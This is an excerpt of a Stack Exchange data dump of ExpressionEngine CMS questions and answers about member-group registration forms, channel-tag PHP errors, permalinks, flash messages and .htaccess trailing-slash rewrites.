  <row Id="2142" PostTypeId="1" AcceptedAnswerId="2192" CreationDate="2012-12-28T19:42:52.297" Score="1" ViewCount="428" Body="&lt;p&gt;Is it possible, maybe with Freemember or another free module, to choose the member group a member is assigned during registration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need two forms, each one assigning a different member group .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do this without an add-on like Zoo Visitor or User by solspace?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="55" LastEditDate="2013-01-02T17:35:27.250" LastActivityDate="2013-07-07T13:07:20.620" Title="Two registration forms with two different member groups" Tags="|members|safecracker|zoo-visitor|freemember|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2143" PostTypeId="2" ParentId="2127" CreationDate="2012-12-28T20:20:02.233" Score="5" Body="&lt;p&gt;I always recommend my add-on Authenticate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/authenticate/documentation/tag/logout-url&quot;&gt;https://objectivehtml.com/authenticate/documentation/tag/logout-url&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:authenticate:logout_url return=&quot;/some/return/url&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-28T20:20:02.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2144" PostTypeId="2" ParentId="2142" CreationDate="2012-12-28T20:29:47.550" Score="1" Body="&lt;p&gt;You can set the &lt;code&gt;default_member_group&lt;/code&gt; in your &lt;strong&gt;config.php&lt;/strong&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['default_member_group'] = 6;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this will apply to all new member registrations, not just those from a particular form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FreeMember does not allow you to choose the member group new members are assigned to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could look at the &lt;a href=&quot;http://www.solspace.com/docs/user/register/#group_id&quot; rel=&quot;nofollow&quot;&gt;User module&lt;/a&gt;, which does allow you to specify the member group during registration.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2012-12-28T21:03:04.240" LastActivityDate="2012-12-28T21:03:04.240" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2145" PostTypeId="1" AcceptedAnswerId="2146" CreationDate="2012-12-28T20:33:02.760" Score="4" ViewCount="527" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Solution was to save entries until the entries with &quot;bad data&quot; were saved over.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wrote a quick tag to display all entries in a list from a particular channel. However, it threw a bunch of PHP warnings. This is the tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries disable=&quot;categories|pagination|member_data&quot; channel='member' dynamic='off'}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my first round of troubleshooting I found that if I limited the loop to a certain number (let's say 27) of entries the tag would render as expected. But if I'd change the limit to 28, the error would throw. I would assume that this means there is corrupt data in some entries... but not all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've since discovered that if I &lt;strong&gt;disabled custom fields&lt;/strong&gt; the tag would render. Further troubleshooting led me to start disabling/uninstalling fieldtypes. After much of trial and error it seems that any fieldtype that has data stored in the database will cause the php warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what is odd (to me) is that if I declare a specific entry id's there is not an error. These entries include ones that are known to instigate the php errors.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;entry_id=&quot;642|643|644|646|647|648&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is definitely something awry in the database, I don't see anything that jumps out at me when I take a look at the sql, but I don't have the best mySQL skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I look next?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The errors read as following:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index:&#xA;&#xA;Filename: channel/mod.channel.php&#xA;&#xA;Line Number: 4785&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Invalid argument supplied for foreach()&#xA;&#xA;Filename: channel/mod.channel.php&#xA;&#xA;Line Number: 4787&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /***/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: core/Common.php&#xA;&#xA;Line Number: 412&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&#xA;Fatal error: ob_start() [ref.outcontrol]: Cannot use output buffering in output buffering display handlers in /***/system/codeigniter/system/core/Exceptions.php on line 166&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;System facts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;li&gt;updated to 2.5.5&lt;br&gt;&#xA;  &lt;li&gt;Errors happen locally and on live servers&#xA;  &lt;li&gt;Have around a thousand entries, so saving each one isn't a great option&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2013-01-15T17:39:26.197" LastActivityDate="2013-01-15T17:39:26.197" Title="Basic Channel Tag throwing PHP errors" Tags="|channel-entries|custom-fields|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2146" PostTypeId="2" ParentId="2145" CreationDate="2012-12-28T21:07:45.253" Score="4" Body="&lt;p&gt;Have a look at your 28th most recent entry in the Edit screen - chances are there's some bad data in one of your fields (or maybe data for a field that no longer exists). Re-save it and see if the error persists.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-28T21:07:45.253" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2147" PostTypeId="2" ParentId="2044" CreationDate="2012-12-28T21:16:54.450" Score="2" Body="&lt;p&gt;I solved this by removing Stash from the equation and instead using two {exp:channel:entries} tag. After 53 views of this question, my assumption is this is not a common use for Stash and thus the tradeoff between performance and supporting my own code 6 months down the line is low. &lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2012-12-28T21:16:54.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2148" PostTypeId="2" ParentId="2142" CreationDate="2012-12-28T21:37:42.313" Score="2" Body="&lt;p&gt;Okay, so I just realized you were using Zoo Visitor. As @Derek Hogue, &lt;a href=&quot;http://www.solspace.com/software/detail/user/&quot; rel=&quot;nofollow&quot;&gt;User by Solspace&lt;/a&gt; will handle this for you, or as I mentioned, hidden input fields on custom, but separate forms will work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; allows for selection of user groups. I believe it also takes care of people trying to add themselves to SuperAdmin but you should also be able to strengthen the backend protocols so that only SuperAdmins can modify the SuperAdmin group.  See this code from &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/registration.html&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form error_handling=&quot;inline&quot; return='account/register/success' allowed_groups=&quot;5|6&quot;}&#xA;&#xA;                Select member group:&#xA;                &amp;lt;select name=&quot;group_id&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;5&quot;&amp;gt;Group with id 5&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;6&quot;&amp;gt;Group with id 6&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/select&amp;gt;&#xA;&#xA;                Email*: &amp;lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;                {error:email}&#xA;&#xA;                Password*: &amp;lt;input id=&quot;password&quot; name=&quot;password&quot; type=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;                {error:password}&#xA;&#xA;                Confirm password*: &amp;lt;input id=&quot;password_confirm&quot; name=&quot;password_confirm&quot; type=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;                Member firstname: &amp;lt;input id=&quot;member_firstname&quot; name=&quot;member_firstname&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;                {error:member_firstname}&#xA;&#xA;                Member lastname: &amp;lt;input id=&quot;member_lastname&quot; name=&quot;member_lastname&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;                {error:member_lastname}&#xA;&#xA;                &amp;lt;input class=&quot;form-submit&quot; type=&quot;submit&quot; value=&quot;Register&quot; /&amp;gt;&#xA;&#xA;{/exp:zoo_visitor:registration_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's the Select member group section, you are interested in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;group_id&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;5&quot;&amp;gt;Group with id 5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;6&quot;&amp;gt;Group with id 6&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's an example with a hidden member group&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form error_handling=&quot;inline&quot; return='account/register/success' allowed_groups=&quot;5&quot;}&#xA;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;group_id&quot; value=&quot;5&quot;&amp;gt;&#xA;&#xA;        Email*: &amp;lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;        {error:email}&#xA;&#xA;        Password*: &amp;lt;input id=&quot;password&quot; name=&quot;password&quot; type=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;        {error:password}&#xA;&#xA;        Confirm password*: &amp;lt;input id=&quot;password_confirm&quot; name=&quot;password_confirm&quot; type=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;        Member firstname: &amp;lt;input id=&quot;member_firstname&quot; name=&quot;member_firstname&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;        {error:member_firstname}&#xA;&#xA;        Member lastname: &amp;lt;input id=&quot;member_lastname&quot; name=&quot;member_lastname&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;        {error:member_lastname}&#xA;&#xA;&#xA;        &amp;lt;input class=&quot;form-submit&quot; type=&quot;submit&quot; value=&quot;Register&quot; /&amp;gt;&#xA;&#xA;{/exp:zoo_visitor:registration_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please take note that, I also limited what group_id could be used in the form. I believe Zoo Visitor uses this as a security check, incase the registrant tries to manually supply a different member group, like group_id=&quot;1&quot; which would make them a super_admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When duplicating the form, you would need to change both the allowed group and the hidden field value.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2012-12-28T23:02:24.887" LastActivityDate="2012-12-28T23:02:24.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2149" PostTypeId="2" ParentId="2123" CreationDate="2012-12-28T22:13:56.947" Score="2" Body="&lt;p&gt;Per the comments in the other answer, I am working on a fix for this. Email support@objectivehtml.com and I will send you and email with the latest version once it is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have a fix for these issue now in my latest developer build. Just email me for the latest build.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2013-01-04T00:06:41.990" LastActivityDate="2013-01-04T00:06:41.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2150" PostTypeId="1" AcceptedAnswerId="2359" CreationDate="2012-12-29T00:38:21.593" Score="2" ViewCount="283" Body="&lt;p&gt;I've enabled template debugging on our EE installation on a test server. I can't see the template debugging information when I load pages (either in CPanel or templates). Another developer I work with can see them just fine on his machine. We're both logged in as Super Admin. Any ideas what's wrong?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-06T00:45:14.683" Title="Template Debugging - I can't see it" Tags="|templates|debugging|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2151" PostTypeId="1" AcceptedAnswerId="2152" CreationDate="2012-12-29T00:55:04.090" Score="2" ViewCount="518" Body="&lt;p&gt;I have a template the loops over the Channel entries and displays some basic information about each entry. I'd like to have each item link to more details about that particular entry. It seems that I should be linking to the one of the following: &lt;code&gt;{url_title}&lt;/code&gt;, &lt;code&gt;{entry_id}&lt;/code&gt;, &lt;code&gt;{comment_entry_id_auto_path}&lt;/code&gt;, or &lt;code&gt;{permalink}&lt;/code&gt;. &lt;strong&gt;The problem is that the resulting values of those variables do not seem like they would map to a template group + template.&lt;/strong&gt; For example, &lt;code&gt;{permalink}&lt;/code&gt; gives me something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(NOTE: I have removed index.php via .htaccess)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't the URL be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/products/2/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then maybe in my templates /products/index, I do a check on {segment_2} to decide if I should be displaying the details page or not? So where does the details template go?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-29T22:15:53.913" Title="Channel entry details - what's the template group/template?" Tags="|templates|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2152" PostTypeId="2" ParentId="2151" CreationDate="2012-12-29T05:11:41.937" Score="5" Body="&lt;p&gt;The &lt;code&gt;permalink&lt;/code&gt; variable will take into account template group and template if you specify them. So for example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{permalink=&quot;products/detail&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would give you...  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/products/detail/1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where &quot;1&quot; is the entry id and &quot;detail&quot; is a template in the &quot;products&quot; template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, as far as path variables go, my preference when building links that involve template paths is to use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#title-permalink&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;title_permalink&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; (&lt;em&gt;works just like permalink above but uses the &lt;code&gt;url_title&lt;/code&gt; instead of the &lt;code&gt;entry_id&lt;/code&gt;&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, as you noticed &lt;code&gt;url_title&lt;/code&gt; and &lt;code&gt;entry_id&lt;/code&gt; don't take into account template group/template paths. They just reference a given entry (either by the url title or the entry id). But they are useful in manually building paths to single entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you prefer, just use a root-relative path in conjunction with &lt;code&gt;url_title&lt;/code&gt;. For example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/products/detail/{url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As long as you are removing index.php the above works great. I have started to use this more than I do the path variables.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And to answer your other question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Then maybe in my templates /products/index, I do a check on&#xA;  {segment_2} to decide if I should be displaying the details page or&#xA;  not? So where does the details template go?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just put your &quot;detail&quot; template in the &quot;products&quot; template group and any time you load a path that matches &lt;code&gt;/products/detail&lt;/code&gt; (or &lt;code&gt;/products/detail/etc/etc&lt;/code&gt;) that template will be loaded as you'd expect. No extra work is required, ExpressionEngine will do that automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, instead (as you indicated in your comment), you are wanting to include all the logic and display of a &quot;detail&quot; template in your single index template and forego a second template,  then doing a couple simple conditionals like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;detail&quot;}&#xA;    detail-template stuff here&#xA;{/if}&#xA;&#xA;{if segment_2 != &quot;detail&quot;}&#xA;    non detail-template stuff here&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...is often enough to accomplish what you described. If it is not, or if more complicated template logic is needed, definitely take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-29T22:15:53.913" LastActivityDate="2012-12-29T22:15:53.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2153" PostTypeId="1" AcceptedAnswerId="2179" CreationDate="2012-12-29T06:10:19.347" Score="1" ViewCount="144" Body="&lt;p&gt;I have two channels; A and B.&#xA;Channel B has a Playa field that relates that entry to entries from Channel A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template, I am wanting to show all the entries from Channel A and display the title of entries from Channel B via the Playa Parent tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channelA&quot; limit=&quot;1000&quot;} &#xA;&amp;lt;article id=&quot;{url_title}&quot; class=&quot;info&quot;&amp;gt; &#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:playa:parents channel=&quot;channelB&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='/site/view/{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:playa:parents}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/article&amp;gt;    &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the channel entry limit is set to anything higher than 1, the template is a white screen.  But if the limit is set to &quot;1&quot; it works for the most recent entry only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i remove the Playa code, the template shows as it should.&#xA;Is there something I am missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2012-12-30T19:51:07.433" Title="Why would my template not show when channel entry limit parameter is set higher than 1 with Playa parent tag is within?" Tags="|channel-entries|playa|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2154" PostTypeId="2" ParentId="2153" CreationDate="2012-12-29T06:46:19.723" Score="1" Body="&lt;p&gt;Just in case... have you tried &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; in your outer entries tag?&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-12-29T06:46:19.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2155" PostTypeId="1" CreationDate="2012-12-29T09:21:04.913" Score="2" ViewCount="4662" Body="&lt;p&gt;I'm programming an EE extension, and in the &lt;code&gt;save_settings()&lt;/code&gt; method, if I &lt;code&gt;redirect()&lt;/code&gt; (after unsuccessful data validation), the message stored in the &lt;code&gt;set_flashdata()&lt;/code&gt; method doesn't show.&#xA; If I comment the redirect and let the method put the user back in the main extensions page, then the flashdata shows up fine. It's &lt;em&gt;only&lt;/em&gt; if I redirect that the data isn't shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my save settings method - as near as I can tell I'm not doing anything out of the ordinary - it's mostly boilerplate as near as I can tell. I'd be very appreciative of anybody that can shed light on this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_settings(){&#xA;&#xA;    // no unauthorized access&#xA;    if (empty($_POST)) {&#xA;        show_error($this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('unauthorized_access'));&#xA;    }&#xA;&#xA;    // get the routestring then convert it to an array&#xA;    $routestring = $this-&amp;gt;EE-&amp;gt;security-&amp;gt;xss_clean($this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('routes'));&#xA;    $results = $this-&amp;gt;routes_to_array($routestring);&#xA;&#xA;    // if the conversion was ok:&#xA;    if ($results['status'] == 'success') {&#xA;&#xA;        // update db&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('extensions', array('settings' =&amp;gt; serialize(array('routes' =&amp;gt; $results['results']))));&#xA;&#xA;        // set flash data&#xA;        $this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_flashdata('message_success', &quot;Routes updated.&quot;);&#xA;&#xA;    // if something went wrong during conversion:  &#xA;    } else {&#xA;&#xA;        // set flash data then redirect back to edit screen&#xA;        $this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_flashdata('message_failure', $results['message']);&#xA;&#xA;        // IF I COMMENT THE FOLLOWING LINE, THE FLASH DATA SHOWS UP FINE&#xA;        $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect(BASE.AMP.'C=addons_extensions'.AMP.'M=extension_settings'.AMP.'file=apsdsm_bossyboots');&#xA;    }              &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OK, this is my view file - as far as I can tell this is as boiler plate as it gets. More boiler plate than a dish that's been held in scalding water for ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo form_open('C=addons_extensions'.AMP.'M=save_extension_settings'.AMP.'file=apsdsm_bossyboots'); ?&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;mainTable&quot; border=&quot;0&quot;cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&#xA;                Routes&#xA;            &amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;&#xA;    &amp;lt;tbody&amp;gt;&#xA;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;&#xA;                &amp;lt;?php echo form_textarea(array('name'=&amp;gt;'routes', 'value' =&amp;gt; $routestring)) ?&amp;gt;&#xA;&#xA;                &amp;lt;?php echo form_submit('submit', 'Update Routes', 'class=&quot;submit&quot;') ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;?php echo form_close()?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="648" LastEditorUserId="648" LastEditDate="2013-01-01T03:49:32.610" LastActivityDate="2013-01-02T14:28:41.873" Title="displaying a flash message after redirect" Tags="|extension|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2156" PostTypeId="2" ParentId="2112" CreationDate="2012-12-29T09:31:26.463" Score="0" Body="&lt;p&gt;Are you saying that what you want is that if the user types one address into their browser bar, a different thing is displayed there after that request is sent to the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to actually change the URL that the user sees, then one (not very good) option is to mess around with your .htaccess file to create a rewrite. Another, possibly better option is to use a redirect in your template code, which goes into effect if the extra section of the URI isn't there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/reference/functions.html#redirect-location-string&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/reference/functions.html#redirect-location-string&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid that without a more in depth question or example of what you're trying to do it's difficult to understand what you want, exactly... :S&lt;/p&gt;&#xA;" OwnerUserId="648" LastActivityDate="2012-12-29T09:31:26.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2157" PostTypeId="1" AcceptedAnswerId="2158" CreationDate="2012-12-29T14:15:07.323" Score="5" ViewCount="16465" Body="&lt;p&gt;I would like to remove duplicate URLs by removing the trailing slash from URLs. If someone enters a URL like &lt;code&gt;http://example.com/something/&lt;/code&gt; it should 301 redirect to &lt;code&gt;http://example.com/something&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously the query string must be preserved when present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;code&gt;.htaccess&lt;/code&gt; file at the moment (for localhost):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymlinks&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /~macuser/example.com/&#xA;# RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /~macuser/example.com/index.php?/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, please feel free to comment if the above can be improved in any way.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2015-02-20T20:10:40.210" Title="How to remove trailing slash from URLs?" Tags="|url|htaccess|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2158" PostTypeId="2" ParentId="2157" CreationDate="2012-12-29T14:47:34.930" Score="4" Body="&lt;p&gt;For your .htacces you can use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# remove trailing slash&#xA;RewriteRule ^(.*)\/(\?.*)?$ $1$2 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To improve the urls on your page you can use my little plugin called 'remove_trailing_slash'. It is not yet aproved by devot-ee, but i can send you the plugin right away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usage is simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:remove_trailing_slash url=&quot;www.google.nl/&quot;}&lt;/code&gt; &#xA;or&#xA;&lt;code&gt;{exp:remove_trailing_slash}www.google.nl/{/remove_trailing_slash}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://reinos.nl/add-ons/remove-trailing-slash/&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/add-ons/remove-trailing-slash/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please pm me your email so i can send it to you.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2012-12-29T14:53:53.977" LastActivityDate="2012-12-29T14:53:53.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
